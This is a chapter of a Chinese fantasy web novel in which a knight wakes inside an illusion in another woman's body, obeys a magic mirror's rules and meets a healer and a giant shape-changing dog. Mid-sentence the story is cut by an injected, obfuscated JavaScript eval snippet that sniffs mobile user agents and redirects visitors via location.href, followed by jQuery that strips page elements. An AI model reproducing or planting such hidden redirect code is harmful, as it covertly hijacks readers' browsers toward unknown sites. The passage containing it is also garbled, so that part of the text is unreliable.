希尔凡想要寻找的人。
风垂眸凝思,难道这是与那个传说相关的幻境吗?
“若昔?”女孩摇晃手中的药盒,担忧道,“我想待会儿得请荷拉过来给你看看,你好像精神不太好。”
看起来,她明亮的眼里是纯粹的关心,没有一丝恶意。
顺其自然吧。
她顺应着女孩的牵拉,坐在床上挡住枕头,左手按剑,伸出受伤的右手。
她探究的目光落在对方的身上。
平底皮靴,方便行动的衬裤和略有脏污的灰黄衬衣。
然后再是……
收束袖口的护腕,右手极为粗粝的老茧。
风对此再熟悉不过了,她也有。
看来女孩也练剑,如果在外面,风看见这样一个孩子会很开心,她们可以共同探讨剑法。
只是,在这里……
“麻烦你了。”风刚开口就被打断。
纱布被拆开,是剑伤。
“哪有什么麻烦不麻烦的呀,都是好朋友,怎么说这样生疏的话。”女孩瘪着嘴说,同时利落地揭下纱布,在伤口处涂抹药水。
“若昔,你总是这样,”她打上一个结,清理着废弃物,轻轻点过风的肩膀嗔怪,“那天你从山里回来后,几天不出房门,直到我们进来才发现你受了伤。”
“还伤得那么重!”
“你知道我们有多害怕,有多伤心吗?”女孩嘭一声盖上药盒,起身凑近风皱鼻“讨伐”道。
“我……”风再次被打断。
“你太坏了。”女孩点着头,又肯定地大声说,“你太坏了!”
她绘声绘色地比划,深吸一口气,嘚嘚嘚迸出一堆话。
“你看,当时你的血从床头这里漫到了桌角、门口,阿托斯一直在你的房门外吠叫。”
“满地板都是你的血,平常那么高大的人蜷缩在血泊里竟然……竟然会那么……脆弱。”
“你全身都是伤口,一道道那么深,那么长,,你的白衬衫都要被血泡烂了。”
风有些怔愣,这么多伤口吗?
只有手腕还隐隐作痛。
她掀起衣袖查看,是有许多极细极淡的疤痕,不仔细看,是看不出来的。
“那是荷拉的治疗魔法效果好,你身上的伤痕几乎看不到了。”
“哼,你现在是只有手腕的伤口还看得见,但是这是因为你手腕的切口太深了,裂开了……一半的厚度。”
“光是处理你的伤口,荷拉和薇薇安都花了一整天。”
“那时候你的脸竟然比希尔凡的脸还要白,那是我见过最难看的脸色。”
果然,和那个传说有关,风低头想。
她该做出什么反应?
风不敢直视女孩,刚刚不小心和她对视时,她的心口就发酸,就好像有无限多的愧疚。
但风肯定,她不认识这个女孩。
“要不是阿托斯,我们都不会发现。”
“你太可恶了……”
“太可恶了……”
风心头越来越酸,手不自主发颤,不受控制地轻拍女孩的肩膀。
她疑惑地看向自己的手,又看向女孩。
女孩突然哑声,拿起药盒迅速转过身去,断续地说道:“露西,你……你下回要是……再受伤,一定……要和我们说。”
“我们可是……朋友。”说着,她慌乱地跌跑出门。
转身可以掩饰发红的眼圈、划过脸颊的泪水,却藏不住细微的呜咽声、别扭的诉语。
风迷茫地看向自己受伤的右手,另一只手拭去面颊上不知何时多出来的湿痕。
“奇怪。”
她虽然心疼这位陌生的女孩,但是不至于难过成这样。
这不是她想做出来的反应。
风拍拍脑门,做了好几次深呼吸。
她的手向枕下摸去。
粗涩的纸质感在棉布中尤为突兀。
真的有字条。
【为你上药的孩子,叫凯特。
1、你每天至少需要照一次镜子。
2、你每天需要完成镜子派出的任务。
3、这个幻境不会结束。
4、你拥有无限次读档的机会。
5、镜子可以回答你的问题(无限次),但是只能回答否定的答案。
6、一切皆有可能。】
风眯眼翻阅纸片,上面爬满了细小的字,每个字都已经扭曲。
没一会儿,纸片消散,融在空气里。
她手一颤,抓住了虚空。
风疾步走向镜子,斟酌几番说道:“没有遵守纸条上的规则会死亡。”
【不】
“没有遵守纸条上的规则会受伤。”
没有回答。
风算是松下一口气,活着就有希望。
目光上下移动,她审视着镜中的自己。
除了多出的伤口,这个身体和真实的她别无二致。
但是——
“这不是我的身体。”她还是脱口而出。
【不】
许久,她无奈地接受一个她并不满意的结果,至少在信任镜子的情况下,这真的是她的身体。
刚刚那些奇怪的反应是由她的身体做出来的,可是明明她才刚来到这里。
是幻境的把戏吗?
是的话,她也只能暂时被动地承受。
这真让人不爽,她想。
风问出了她心底最后一个问题:“我不是第一次来到这里。”
【不】
就在风准备回床上时,镜面又浮出一行字。
【立刻出门直走,直到遇见荷拉。】
我倒要看看不做任务的后果有多严重。
风眼珠一转,假装没有看见,正欲回去,脚生生被转了一个方向。
幸好,剑托住了她,才没有摔跤。
她脚步不停,回头怒蹬那面镜子。
那镜子似乎颤动了一下,浮现出一个涂鸦笑脸。
“咚——”
风的头直直撞向紧闭的门。
额角发红。
懵然,风的还没有转回来。
“咚——”
风立刻回头。
额面发红。
“哈。”风气得发笑。
她连忙握住身后的剑,抬手开门。
原来没有完成任务会受伤,受的是这个伤。
忍耐,忍耐。
满身伤痕的骑士又添新伤。
看来,刚刚莫名的安慰和眼泪也是这个魔镜搞的鬼。
晨露未熹,雾霭携伴纵横的土路与几幢小屋,依稀见得几个人影,杂着几句谈论声。
风捂着额头踉跄地向前一直走去。
“嘿,若昔!”
“早上好!”
“快看!快看!那是若昔,她醒了!”
“若昔!”
“凯特说的是真的!”
“她怎么捂着额头?”
“嘿,小若昔!”
……
骑士向来习慣热情与真心的问候。
风向她们点头微笑,像她从前在王都巡逻结束时那样。
她们都是谁?
风暗暗记下这些人的容貌形姿。
突然——
“嗷哦嗷哦嗷呜!”
一个巨型未知生物朝风袭来。
“嘭!”
风侧身闪开。
它的脸着地了。
“嗷哦嗷哦嗷呜!!!”
简直是变异的马士提夫犬。
风不由得睁大眼睛,它有一个半的风高。
它刚刚因跃起翻飞的耳朵盖下时,把地上有半个拳头大的石子扇得翻滚起来,因哀嚎留下的口水把泥土浸湿了一大片。
风对上它可怜巴巴的眼神,试探性地说:“阿托斯?”
“嗷哦!”
阿托斯兴奋围着风转圈,时不时用巨大的头往风怀里凑。
它蹭得风一身泥。
风一把揪住阿托斯的尾巴。
“嗷!”
阿托斯停下,点头又甩头,咻然变成一只手臂长的幼犬。
风挑眉,被逗笑了。
还会变身?
风拎起它抱在怀里,抚着软茸茸的毛线头,继续向前走。
走了许久。
一路上小狗都很安静。
风低头一看发现它不知何时已经睡着了。
早风拂地,绿意肆意流动,其间霖珠粼粼。
细看下,弯腰的草里蹲着一个弯腰的女人。
意欲飞走的蒲草帽被苍青的细手严实压住,做乱的发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536507|203837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝一同被拢住,藏进了帽檐下零星的琉璃苣里。
风快步走近。
女人似有所感,侧目间,悄然勾起嘴角说:“呀,我们的大能人醒了啊。”
她的声音极为轻虚,还渗着几分阴冷。
女人起身,将手中的药草收进腰间的挎篓里,一步步向风靠近。
风暗中讶异,这才发现女人帽檐下的琉璃苣不是装饰,而是切切实实长在女人脸上的。
左眼绽放的琉璃苣最为稠丽,一路沿到耳后,浓郁的蓝就那样变浅、变白。
是花僵症,一种天生的基因缺陷疾病,患者一生下来就被一种花寄生,一辈子被花蚕食。
有花僵症的人最为极端,是极聪慧的,却也是极为短命的。
花期尽了,人息也就断了。
最后成为一具僵硬的尸体。
“呵,”荷拉朝风翻了个白眼,刺道:“不要用你自以为关怀实际上高高在上的眼神看我,你知道的,我最讨厌这样的怜悯。”
“抱歉,荷拉。”风徒然懊恼,连忙道歉。
荷拉用她完好的右眼斜睨着风,说道:“我看你的伤,伤得最重的是脑子。”
说着,她垂眸,不知道是在想些什么,而后只叹了一口气。
“回去吧。”荷拉说。
“嗯。”风跟在荷拉的身后,应和着。
“你说你出来做什么,全身的伤还不够你受的?”荷拉变出一瓶深绿色的药水,说道,“喝了。”
“咕嘟咕嘟”
风犹豫着,没有接过那瓶莫名鼓泡的奇怪药水,假装替荷拉整理歪斜的草帽。
下一瞬,风又不受控制地接下药水,抬头喝完。
“咳咳咳——”
药水腥臭得像死了三天的章鱼加上垃圾集出的污水。
风张着嘴,不敢呼吸,生怕在接受到腥气的洗礼。
荷拉抬手掩唇,笑得花瓣颤动。
此时风怀中的阿托斯耸动鼻头,挣扎着张开眼睛,蹭着风的脖颈哼唧叫。
风连忙拍抚它的背,将它哄睡。
荷拉露出一种复杂的神色,说道:“你们第一次见面的时候就很亲昵,你真的很喜欢这个蠢狗。”
风极快反驳道:“它还是很可爱的,你看它现在就很乖,不蠢。”
她一愣。
她和这个小狗才第一次见面,却无法自拔地觉得它可爱。
可是,它真的很可爱,尽管大了一些、重了一些。
没办法,狗狗是这样的,总是能讨得人的欢心。
“呵呵呵……”荷拉撩着她的碎发咬牙切齿道,“对了,在你昏迷的日子里,你的宝贝阿托斯撞坏了我家一个木桌、两个锅、三把椅子、五个碗,还咬坏了我的沙发!还有难以计数的衣服……”
她深吸一口气,像是又气到了,捂着胸口,冷笑道:“当然,我能理解,它是因为你受伤而感到了焦躁,行为上出现一点问题是很,正,常,的。”
“哦,还有一件事。”荷拉抓紧风的衣袖,掰着手指计算道“这段时间,这个饿死鬼吃了我十头黑角羊、十五头长毛牛、三十只赤羽鸡、七十条螺壳鱼干,给你打个友情价总计约……十五万铜币或是一万五银币或是一千五金币,怎么样?”
“哈哈哈哈……”风装着糊涂笑着。
怎么还有前置剧情?
作为这个大胃狗的主人,先前剧情里的“她”是怎么养得起阿托斯的?
荷拉回笑,笑得风心底发毛。
风瞬间觉得怀里的重量翻了好几十倍,重得她要抱不住了。
风掩唇咳嗽。
看天,看地,看树,就是不看荷拉。
“哼哼,你躲也没有用,”荷拉轻轻地拍着风怀里的阿托斯,阴切切道,“没钱没关系啊……你到时候来当我的试验人就好啦,一次200铜币,慢慢来,你要是不来,哼哼哼,这条蠢狗和你,哼哼哼……”
荷拉有一下没一下地作弄着风的手腕处的伤口。
风被她弄得一阵心虚。
可这和她,刚来到这里的她没关系啊——
风有些幽怨地看向怀里的阿托斯。
随遇而安,随遇而安。
她艰难地点头。
荷拉满意地徹手。
两人一狗缓缓行进在望不尽头的小路上。